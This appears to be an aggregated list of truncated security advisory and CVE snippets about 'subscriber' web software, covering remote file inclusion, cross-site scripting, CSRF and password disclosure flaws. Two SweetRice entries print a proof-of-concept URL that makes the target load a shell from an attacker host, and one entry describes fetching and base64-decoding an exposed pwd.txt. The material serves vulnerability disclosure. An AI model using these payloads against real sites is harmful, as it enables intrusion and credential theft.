Smart PHP Subscriber - Multiple Disclosure Vulnerabilities

Smart PHP Subscriber - Multiple Disclosure Vulnerabilities ----------------------------------------------------------------------------------------------- Title: Smart PHP Subscriber Multiple Disclosure Vulnerabilities Author: Milos Zivanovic Email: milosz.securityatgmail.com Date: 14. December...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in SweetRice 0.5.4, 0.5.3, and earlier allow remote attackers to execute arbitrary PHP code via a URL in the rootdir parameter to 1 plugin/subscriber/inc/post.php and 2 as/lib/newsmodify.php...

SweetRice 0.5.0 Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice PoC : http://target/path/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...

SweetRice 0.5.3 - Remote File Inclusion

SweetRice 0.5.3 - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg SweetRice PoC : http://server/plugin/subscriber/inc/post.php?rootdir=http://attacker/shell.txt??? 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...

Harris StarMAX 210 WiMax subscriber station crossite request forgery

Request forgery in configuration Web interface...

CVE-2009-1287

CVE-2009-1287 concerns Cisco Subscriber Edge Services Manager (SESM) and describes a Cross-site scripting (XSS) vulnerability that allows remote attackers to inject arbitrary web script or HTML via the URI. The available documents identify SESM as the affected product and specify the vulnerabilit...

Code injection

Multiple unspecified vulnerabilities in the Web management interface in Avaya SIP Enablement Services SES 3.x and 4.0, as used with Avaya Communication Manager 3.1.x, allow remote attackers to obtain 1 application server configuration, 2 database server configuration including encrypted passwords...

Cisco Subscriber Edge Services Manager - Cross-Site Scripting / HTML Injection

source: https://www.securityfocus.com/bid/34454/info Cisco Subscriber Edge Services Manager is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data. Attacker-supplied HTML or JavaScript code could run in the...

Cisco Subscriber Edge Services Manager - Cross-Site Scripting HTML Injection

Cisco Subscriber Edge Services Manager - Cross-Site Scripting HTML Injection source: https://www.securityfocus.com/bid/34454/info Cisco Subscriber Edge Services Manager is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize...

MailMachine Pro 2.2.4 Remote SQL Injection Vulnerability

No description provided by source. --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ \ | | | \ | |/ \ | | // | || | ||| /| / /\ | |||| /| / / &nb...

CVE-2007-3249

CVE-2007-3249 is an XSS vulnerability in the Joomla! Letterman Subscriber module (mod_letterman) before version 1.2.5, triggered via the Itemid parameter in mod_lettermansubscribe.php. The connected documents confirm the affected component and vulnerability type, but do not provide concrete explo...

CVE-2007-3249

Cross-site scripting XSS vulnerability in modlettermansubscribe.php in the Letterman Subscriber modletterman before 1.2.5 module for Joomla! allows remote attackers to inject arbitrary web script or HTML via the Itemid parameter...

[Full-disclosure] Letterman subscriber module XSS vulnerability

========================================================================= TeamIntell Security Advisory TISA2007-01 ------------------------------------------------------------------------- Letterman Subscriber Module "Itemid" Script Insertion Vulnerability...

TISA2007-01.txt

========================================================================= TeamIntell Security Advisory TISA2007-01 ------------------------------------------------------------------------- Letterman Subscriber Module "Itemid" Script Insertion Vulnerability...

Joomla! Component Letterman Subscriber Module 1.2.4 - 'Mod_Lettermansubscribe.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/24479/info The Joomla! Letterman Subscriber module is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser...

Joomla! Component Letterman Subscriber Module 1.2.4 - Mod_Lettermansubscribe.php Cross-Site Scripting

Joomla! Component Letterman Subscriber Module 1.2.4 - ModLettermansubscribe.php Cross-Site Scripting source: https://www.securityfocus.com/bid/24479/info The Joomla! Letterman Subscriber module is prone to a cross-site scripting vulnerability because the application fails to properly sanitize...

fizzle-access.txt

Fizzle allows feeds to use HTML in feed data resulting in JavaScript being run in the chrome: window with chrome permissions. The extension will convert HTML entities back to their ASCII equivalents thus for formatting to lose their layout I told him it would be too difficult to sanitize the data...

PHP Subscriber远程密码泄露漏洞

PHP Subscriber是一款基于PHP的WEB应用程序。 PHP Subscriber不正确过滤用户提交的输入，远程攻击者可以利用漏洞获得密码敏感信息。 攻击者可以请求http://www.site.com/path/pwd.txt连接获得密码文件信息，然后使用BASE64解码密码信息。 PHP Subscriber 目前没有详细漏洞细节提供...

Improper access control

Scriptsez Smart PHP Subscriber aka subscribe stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain encoded passwords via a direct request for pwd.txt...

CVE-2007-0518

Scriptsez Smart PHP Subscriber aka subscribe stores sensitive information under the web root with insufficient access control, which allows remote attackers to obtain encoded passwords via a direct request for pwd.txt...